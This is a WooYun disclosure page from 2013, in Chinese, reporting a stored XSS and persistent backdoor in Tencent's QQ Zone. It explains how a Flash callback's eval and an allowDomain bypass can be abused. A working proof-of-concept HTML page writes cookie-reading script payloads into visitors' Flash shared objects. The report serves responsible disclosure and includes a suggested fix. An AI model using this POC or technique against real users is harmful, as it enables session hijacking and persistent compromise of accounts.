当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040108

漏洞标题:QQ空间存储XSS (以及持久后门)

相关厂商:腾讯

漏洞作者: neobyte

提交时间:2013-10-17 20:54

修复时间:2013-12-01 20:54

公开时间:2013-12-01 20:54

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-17: 细节已通知厂商并且等待厂商处理中
2013-10-18: 厂商已经确认,细节仅向厂商公开
2013-10-28: 细节向核心白帽子及相关领域专家公开
2013-11-07: 细节向普通白帽子公开
2013-11-17: 细节向实习白帽子公开
2013-12-01: 细节向公众公开

简要描述:

QQ空间存储XSS (以及持久后门)

详细说明:

一. 背景
(本来我前面有个漏洞已经分析过,但还未公开,为了腾讯的工作人员确认方便,再描述一遍)
关于flash的XSS,除了常见的一些技巧外,目前已知的比较偏门的两类是:
1.ExternalInterface.call的第二个参数,主要利用\",catch(e){}//,wooyun上有很多例子
2.在IE下,当flash调用ExternalInterface.addCallback时,如果object的id可控,可造成xss.这个比较少见,但gainover,p.z,心伤的瘦子几位大牛都给出过实例。
但需要注意的是:当js调用flash暴露出来的callback时,返回值也是一个敏感点!这个并没有看到有人提及,也许被很多人忽视了.
首先来看看js是如何处理flash的callback的:
1.在ie下,其实是

eval(instance.CallFunction("<invoke name=\""+name+"\" returntype=\"javascript\">" + __flash__argumentsToXML(arguments,0) + "</invoke>"));


2.在FF与Chrome等其他浏览器下,其实是

eval(var __flash_temp = "returned value"; __flash_temp;)


注意到这里都调用了eval,再结合ExternalInterface.call的那个\"过滤不全的利用方法, 这个利用方式也就呼之欲出了.
所以只要js中调用了callback函数,而返回值又可被攻击者控制的话,就可以造成xss. IE, Chrome, FF等浏览器均受影响。注意:仅仅读取这个动作就会触发XSS,与读取后如何处置无关。
而这个知识点再结合Flash的Local Shared Object,就有了一个固定的利用套路:如果网站通过js调用了flash添加的回调函数get(xxx),从而读取保存着用户LSO中的数据时,只要这个LSO数据可被攻击者篡改,就可以造成XSS。
二.环境与分析
访问用户qq空间时,会自动加载一个getset.swf

http://qzs.qq.com/qzone/v5/toolpages/getset.swf


然后会调用这个flash的callback函数get,来读取一些保存在LSO中配置,读取时所使用的key如下:
匿名用户访问某空间首页:_widhot_first_clickTime0
登陆用户访问某空间首页:_widhot_first_clickTime+登陆的qq号
登陆用户访问某空间日志:blogfont, hidesign, searchOption等
这个getset.swf的关键代码如下:

var my_so = SharedObject.getLocal("qzone");
function _set(n, v) {
my_so.data[n] = v;
}
function _get(n) {
return(my_so.data[n]);
}
function _interface() {
var _local2 = flash.external.ExternalInterface.call("getShareObjectPrefix");
System.security.allowDomain("user.qzone.qq.com");
System.security.allowDomain("imgcache.qq.com");
System.security.allowDomain("qzml.qq.com");
System.security.allowDomain(_local2 + ".qzone.qq.com");
flash.external.ExternalInterface.addCallback("set", this, _set);
flash.external.ExternalInterface.addCallback("get", this, _get);
}


可见通过get读取,通过set写入。到此未知,我们似乎已经找到了一种攻击的办法,只要我们在一个流量较大的网页内,引入这个getset.swf,通过set函数来修改访问者电脑里的LSO数据,当访问者将来访问QQ空间时,就触发XSS(当然在网吧直接物理修改文件也是可行的)。
但远程攻击还有一个重要的拦路虎:domainA的网页要调用domainB的flash的callback函数,需要flash中调用allowDomain(*)或者allowDomain(domainA)来授权。而这里这个flash只授权了qzone.qq.com等一系列的domain,除非我们能找到这些domain上的存储XSS。(这里同样也是一个提升存储XSS持久性与影响范围的利用技巧,同样因为Callback的机制)
但请注意这行代码:

var _local2 = flash.external.ExternalInterface.call("getShareObjectPrefix");
System.security.allowDomain(_local2 + ".qzone.qq.com");


domainA的网页加载domainB的Flash后,Flash会调用domainA页面内的getShareObjectPrefix函数(这个是受allowScriptAccess控制的),如果此时domainA页面里的这个函数返回一个domainA+'/',那么回到Flash,就变成了

System.security.allowDomain("domainA/.qzone.qq.com");


这个斜线就屏蔽了后面的qzone.qq.com,从而domainA也被授权调用该Flash的callback函数。
三.POC
这里给出简单的POC(渣代码见谅),这里domainA就是127.0.0.1,而domainB是qzs.qq.com,需要在127.0.0.1下访问该页面,需要等待5秒,弹出OK后,本地LSO才被修改完毕。(当然127.0.0.1也可以修改为其他domain)
这个POC仅仅修改了匿名用户访问空间首页时自动读取的LSO key,以及登陆用户访问空间后查看日志时自动读取的一个LSO key。由于QQ空间可能还有很多其他读取LSO的key,所以整体上应该有很多触发点,当然有些key是定向的,有些key是通用的。

<html>
<body>
<object id="getset" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://qzs.qq.com/qzone/v5/toolpages/getset.swf">
<param name="allowScriptAccess" value="always">
<embed name="getset" src="http://qzs.qq.com/qzone/v5/toolpages/getset.swf" width="1" height="1" allowscriptaccess="always" flashvars="jsproxyfunction=test" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function getShareObjectPrefix(){
return "127.0.0.1/";
}
setTimeout('myset()', 5000);
function myset(){
document['getset'].set('_widhot_first_clickTime0','aa\\";alert(document.cookie)//aa');
document['getset'].set('blogfont','aa\\";alert(document.cookie)//aa');
document['getset'].flush();
alert('ok');
}
</script>

漏洞证明:

qzone.PNG

修复方案:

考虑到远程与物理两种篡改LSO的方式,allowDomain与callback的返回值可能都得检查。

版权声明:转载请注明来源 neobyte@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-10-18 15:44

厂商回复:

最新状态:

暂无